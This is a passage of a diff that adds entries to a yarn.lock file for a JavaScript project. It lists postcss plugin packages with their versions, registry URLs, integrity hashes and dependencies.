+  integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==
+  dependencies:
+    find-up "^3.0.0"
+
+possible-typed-array-names@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz#89bb63c6fada2c3e90adc4a647beeeb39cc7bf8f"
+  integrity sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==
+
+postcss-attribute-case-insensitive@^5.0.2:
+  version "5.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz#03d761b24afc04c09e757e92ff53716ae8ea2741"
+  integrity sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==
+  dependencies:
+    postcss-selector-parser "^6.0.10"
+
+postcss-browser-comments@^4:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz#bcfc86134df5807f5d3c0eefa191d42136b5e72a"
+  integrity sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==
+
+postcss-calc@^8.2.3:
+  version "8.2.4"
+  resolved "https://registry.yarnpkg.com/postcss-calc/-/postcss-calc-8.2.4.tgz#77b9c29bfcbe8a07ff6693dc87050828889739a5"
+  integrity sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+    postcss-value-parser "^4.2.0"
+
+postcss-clamp@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-clamp/-/postcss-clamp-4.1.0.tgz#7263e95abadd8c2ba1bd911b0b5a5c9c93e02363"
+  integrity sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-color-functional-notation@^4.2.4:
+  version "4.2.4"
+  resolved "https://registry.yarnpkg.com/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz#21a909e8d7454d3612d1659e471ce4696f28caec"
+  integrity sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-color-hex-alpha@^8.0.4:
+  version "8.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz#c66e2980f2fbc1a63f5b079663340ce8b55f25a5"
+  integrity sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-color-rebeccapurple@^7.1.1:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz#63fdab91d878ebc4dd4b7c02619a0c3d6a56ced0"
+  integrity sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-colormin@^5.3.1:
+  version "5.3.1"
+  resolved "https://registry.yarnpkg.com/postcss-colormin/-/postcss-colormin-5.3.1.tgz#86c27c26ed6ba00d96c79e08f3ffb418d1d1988f"
+  integrity sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==
+  dependencies:
+    browserslist "^4.21.4"
+    caniuse-api "^3.0.0"
+    colord "^2.9.1"
+    postcss-value-parser "^4.2.0"
+
+postcss-convert-values@^5.1.3:
+  version "5.1.3"
+  resolved "https://registry.yarnpkg.com/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz#04998bb9ba6b65aa31035d669a6af342c5f9d393"
+  integrity sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==
+  dependencies:
+    browserslist "^4.21.4"
+    postcss-value-parser "^4.2.0"
+
+postcss-custom-media@^8.0.2:
+  version "8.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz#c8f9637edf45fef761b014c024cee013f80529ea"
+  integrity sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-custom-properties@^12.1.10:
+  version "12.1.11"
+  resolved "https://registry.yarnpkg.com/postcss-custom-properties/-/postcss-custom-properties-12.1.11.tgz#d14bb9b3989ac4d40aaa0e110b43be67ac7845cf"
+  integrity sha512-0IDJYhgU8xDv1KY6+VgUwuQkVtmYzRwu+dMjnmdMafXYv86SWqfxkc7qdDvWS38vsjaEtv8e0vGOUQrAiMBLpQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-custom-selectors@^6.0.3:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz#1ab4684d65f30fed175520f82d223db0337239d9"
+  integrity sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==
+  dependencies:
+    postcss-selector-parser "^6.0.4"
+
+postcss-dir-pseudo-class@^6.0.5:
+  version "6.0.5"
+  resolved "https://registry.yarnpkg.com/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz#2bf31de5de76added44e0a25ecf60ae9f7c7c26c"
+  integrity sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==
+  dependencies:
+    postcss-selector-parser "^6.0.10"
+
+postcss-discard-comments@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz#8df5e81d2925af2780075840c1526f0660e53696"
+  integrity sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==
+
+postcss-discard-duplicates@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz#9eb4fe8456706a4eebd6d3b7b777d07bad03e848"
+  integrity sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==
+
+postcss-discard-empty@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz#e57762343ff7f503fe53fca553d18d7f0c369c6c"
+  integrity sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==
+
+postcss-discard-overridden@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz#7e8c5b53325747e9d90131bb88635282fb4a276e"
+  integrity sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==
+
+postcss-double-position-gradients@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz#b96318fdb477be95997e86edd29c6e3557a49b91"
+  integrity sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==
+  dependencies:
+    "@csstools/postcss-progressive-custom-properties" "^1.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-env-function@^4.0.6:
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/postcss-env-function/-/postcss-env-function-4.0.6.tgz#7b2d24c812f540ed6eda4c81f6090416722a8e7a"
+  integrity sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-flexbugs-fixes@^5.0.2:
+  version "5.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz#2028e145313074fc9abe276cb7ca14e5401eb49d"
+  integrity sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==
+
+postcss-focus-visible@^6.0.4:
+  version "6.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz#50c9ea9afa0ee657fb75635fabad25e18d76bf9e"
+  integrity sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+
+postcss-focus-within@^5.0.4:
+  version "5.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz#5b1d2ec603195f3344b716c0b75f61e44e8d2e20"
+  integrity sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+
+postcss-font-variant@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz#efd59b4b7ea8bb06127f2d031bfbb7f24d32fa66"
+  integrity sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==
+
+postcss-gap-properties@^3.0.5:
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz#f7e3cddcf73ee19e94ccf7cb77773f9560aa2fff"
+  integrity sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==
+
+postcss-image-set-function@^4.0.7:
+  version "4.0.7"
+  resolved "https://registry.yarnpkg.com/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz#08353bd756f1cbfb3b6e93182c7829879114481f"
+  integrity sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-import@^15.1.0:
+  version "15.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-import/-/postcss-import-15.1.0.tgz#41c64ed8cc0e23735a9698b3249ffdbf704adc70"
+  integrity sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==
+  dependencies:
+    postcss-value-parser "^4.0.0"
+    read-cache "^1.0.0"
+    resolve "^1.1.7"
+
+postcss-initial@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-initial/-/postcss-initial-4.0.1.tgz#529f735f72c5724a0fb30527df6fb7ac54d7de42"
+  integrity sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==
+
+postcss-js@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-js/-/postcss-js-4.0.1.tgz#61598186f3703bab052f1c4f7d805f3991bee9d2"
+  integrity sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==
+  dependencies:
+    camelcase-css "^2.0.1"
+
+postcss-lab-function@^4.2.1:
+  version "4.2.1"
+  resolved "https://registry.yarnpkg.com/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz#6fe4c015102ff7cd27d1bd5385582f67ebdbdc98"
+  integrity sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==
+  dependencies:
+    "@csstools/postcss-progressive-custom-properties" "^1.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-load-config@^4.0.2:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-load-config/-/postcss-load-config-4.0.2.tgz#7159dcf626118d33e299f485d6afe4aff7c4a3e3"
+  integrity sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==
+  dependencies:
+    lilconfig "^3.0.0"
+    yaml "^2.3.4"
+
+postcss-loader@^6.2.1:
+  version "6.2.1"
+  resolved "https://registry.yarnpkg.com/postcss-loader/-/postcss-loader-6.2.1.tgz#0895f7346b1702103d30fdc66e4d494a93c008ef"
+  integrity sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==
+  dependencies:
+    cosmiconfig "^7.0.0"
+    klona "^2.0.5"
+    semver "^7.3.5"
+
+postcss-logical@^5.0.4:
+  version "5.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-logical/-/postcss-logical-5.0.4.tgz#ec75b1ee54421acc04d5921576b7d8db6b0e6f73"
+  integrity sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==
+
+postcss-media-minmax@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz#7140bddec173e2d6d657edbd8554a55794e2a5b5"
+  integrity sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==
+
+postcss-merge-longhand@^5.1.7:
+  version "5.1.7"
+  resolved "https://registry.yarnpkg.com/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz#24a1bdf402d9ef0e70f568f39bdc0344d568fb16"
+  integrity sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+    stylehacks "^5.1.1"
+
+postcss-merge-rules@^5.1.4:
+  version "5.1.4"
+  resolved "https://registry.yarnpkg.com/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz#2f26fa5cacb75b1402e213789f6766ae5e40313c"
+  integrity sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==
+  dependencies:
+    browserslist "^4.21.4"
+    caniuse-api "^3.0.0"
+    cssnano-utils "^3.1.0"
+    postcss-selector-parser "^6.0.5"
+
+postcss-minify-font-values@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz#f1df0014a726083d260d3bd85d7385fb89d1f01b"
+  integrity sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-minify-gradients@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz#f1fe1b4f498134a5068240c2f25d46fcd236ba2c"
+  integrity sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==
+  dependencies:
+    colord "^2.9.1"
+    cssnano-utils "^3.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-minify-params@^5.1.4:
+  version "5.1.4"
+  resolved "https://registry.yarnpkg.com/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz#c06a6c787128b3208b38c9364cfc40c8aa5d7352"
+  integrity sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==
+  dependencies:
+    browserslist "^4.21.4"
+    cssnano-utils "^3.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-minify-selectors@^5.2.1:
+  version "5.2.1"
+  resolved "https://registry.yarnpkg.com/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz#d4e7e6b46147b8117ea9325a915a801d5fe656c6"
+  integrity sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==
+  dependencies:
+    postcss-selector-parser "^6.0.5"
+
+postcss-modules-extract-imports@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz#b4497cb85a9c0c4b5aabeb759bb25e8d89f15002"
+  integrity sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==
+
+postcss-modules-local-by-default@^4.0.5:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.2.0.tgz#d150f43837831dae25e4085596e84f6f5d6ec368"
+  integrity sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==
+  dependencies:
+    icss-utils "^5.0.0"
+    postcss-selector-parser "^7.0.0"
+    postcss-value-parser "^4.1.0"
+
+postcss-modules-scope@^3.2.0:
+  version "3.2.1"
+  resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-3.2.1.tgz#1bbccddcb398f1d7a511e0a2d1d047718af4078c"
+  integrity sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==
+  dependencies:
+    postcss-selector-parser "^7.0.0"
+
+postcss-modules-values@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz#d7c5e7e68c3bb3c9b27cbf48ca0bb3ffb4602c9c"
+  integrity sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==
+  dependencies:
+    icss-utils "^5.0.0"
+
+postcss-nested@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-nested/-/postcss-nested-6.2.0.tgz#4c2d22ab5f20b9cb61e2c5c5915950784d068131"
+  integrity sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==
+  dependencies:
+    postcss-selector-parser "^6.1.1"
+
+postcss-nesting@^10.2.0:
+  version "10.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-nesting/-/postcss-nesting-10.2.0.tgz#0b12ce0db8edfd2d8ae0aaf86427370b898890be"
+  integrity sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==
+  dependencies:
+    "@csstools/selector-specificity" "^2.0.0"
+    postcss-selector-parser "^6.0.10"
+
+postcss-normalize-charset@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz#9302de0b29094b52c259e9b2cf8dc0879879f0ed"
+  integrity sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==
+
+postcss-normalize-display-values@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz#72abbae58081960e9edd7200fcf21ab8325c3da8"
+  integrity sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-positions@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz#ef97279d894087b59325b45c47f1e863daefbb92"
+  integrity sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-repeat-style@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz#e9eb96805204f4766df66fd09ed2e13545420fb2"
+  integrity sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-string@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz#411961169e07308c82c1f8c55f3e8a337757e228"
+  integrity sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-timing-functions@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz#d5614410f8f0b2388e9f240aa6011ba6f52dafbb"
+  integrity sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-unicode@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz#f67297fca3fea7f17e0d2caa40769afc487aa030"
+  integrity sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==
+  dependencies:
+    browserslist "^4.21.4"
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-url@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz#ed9d88ca82e21abef99f743457d3729a042adcdc"
+  integrity sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==
+  dependencies:
+    normalize-url "^6.0.1"
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-whitespace@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz#08a1a0d1ffa17a7cc6efe1e6c9da969cc4493cfa"
+  integrity sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize@^10.0.1:
+  version "10.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize/-/postcss-normalize-10.0.1.tgz#464692676b52792a06b06880a176279216540dd7"
+  integrity sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==
+  dependencies:
+    "@csstools/normalize.css" "*"
+    postcss-browser-comments "^4"
+    sanitize.css "*"
+
+postcss-opacity-percentage@^1.1.2:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.3.tgz#5b89b35551a556e20c5d23eb5260fbfcf5245da6"
+  integrity sha512-An6Ba4pHBiDtyVpSLymUUERMo2cU7s+Obz6BTrS+gxkbnSBNKSuD0AVUc+CpBMrpVPKKfoVz0WQCX+Tnst0i4A==
+
+postcss-ordered-values@^5.1.3:
+  version "5.1.3"
+  resolved "https://registry.yarnpkg.com/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz#b6fd2bd10f937b23d86bc829c69e7732ce76ea38"
+  integrity sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==
+  dependencies:
+    cssnano-utils "^3.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-overflow-shorthand@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz#7ed6486fec44b76f0eab15aa4866cda5d55d893e"
+  integrity sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-page-break@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-page-break/-/postcss-page-break-3.0.4.tgz#7fbf741c233621622b68d435babfb70dd8c1ee5f"
+  integrity sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==
+
+postcss-place@^7.0.5:
+  version "7.0.5"
+  resolved "https://registry.yarnpkg.com/postcss-place/-/postcss-place-7.0.5.tgz#95dbf85fd9656a3a6e60e832b5809914236986c4"
+  integrity sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-preset-env@^7.0.1:
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/postcss-preset-env/-/postcss-preset-env-7.8.3.tgz#2a50f5e612c3149cc7af75634e202a5b2ad4f1e2"
+  integrity sha512-T1LgRm5uEVFSEF83vHZJV2z19lHg4yJuZ6gXZZkqVsqv63nlr6zabMH3l4Pc01FQCyfWVrh2GaUeCVy9Po+Aag==
+  dependencies:
+    "@csstools/postcss-cascade-layers" "^1.1.1"
+    "@csstools/postcss-color-function" "^1.1.1"
+    "@csstools/postcss-font-format-keywords" "^1.0.1"
+    "@csstools/postcss-hwb-function" "^1.0.2"
+    "@csstools/postcss-ic-unit" "^1.0.1"
+    "@csstools/postcss-is-pseudo-class" "^2.0.7"
+    "@csstools/postcss-nested-calc" "^1.0.0"
+    "@csstools/postcss-normalize-display-values" "^1.0.1"
+    "@csstools/postcss-oklab-function" "^1.1.1"
+    "@csstools/postcss-progressive-custom-properties" "^1.3.0"
+    "@csstools/postcss-stepped-value-functions" "^1.0.1"
+    "@csstools/postcss-text-decoration-shorthand" "^1.0.0"
+    "@csstools/postcss-trigonometric-functions" "^1.0.2"
+    "@csstools/postcss-unset-value" "^1.0.2"
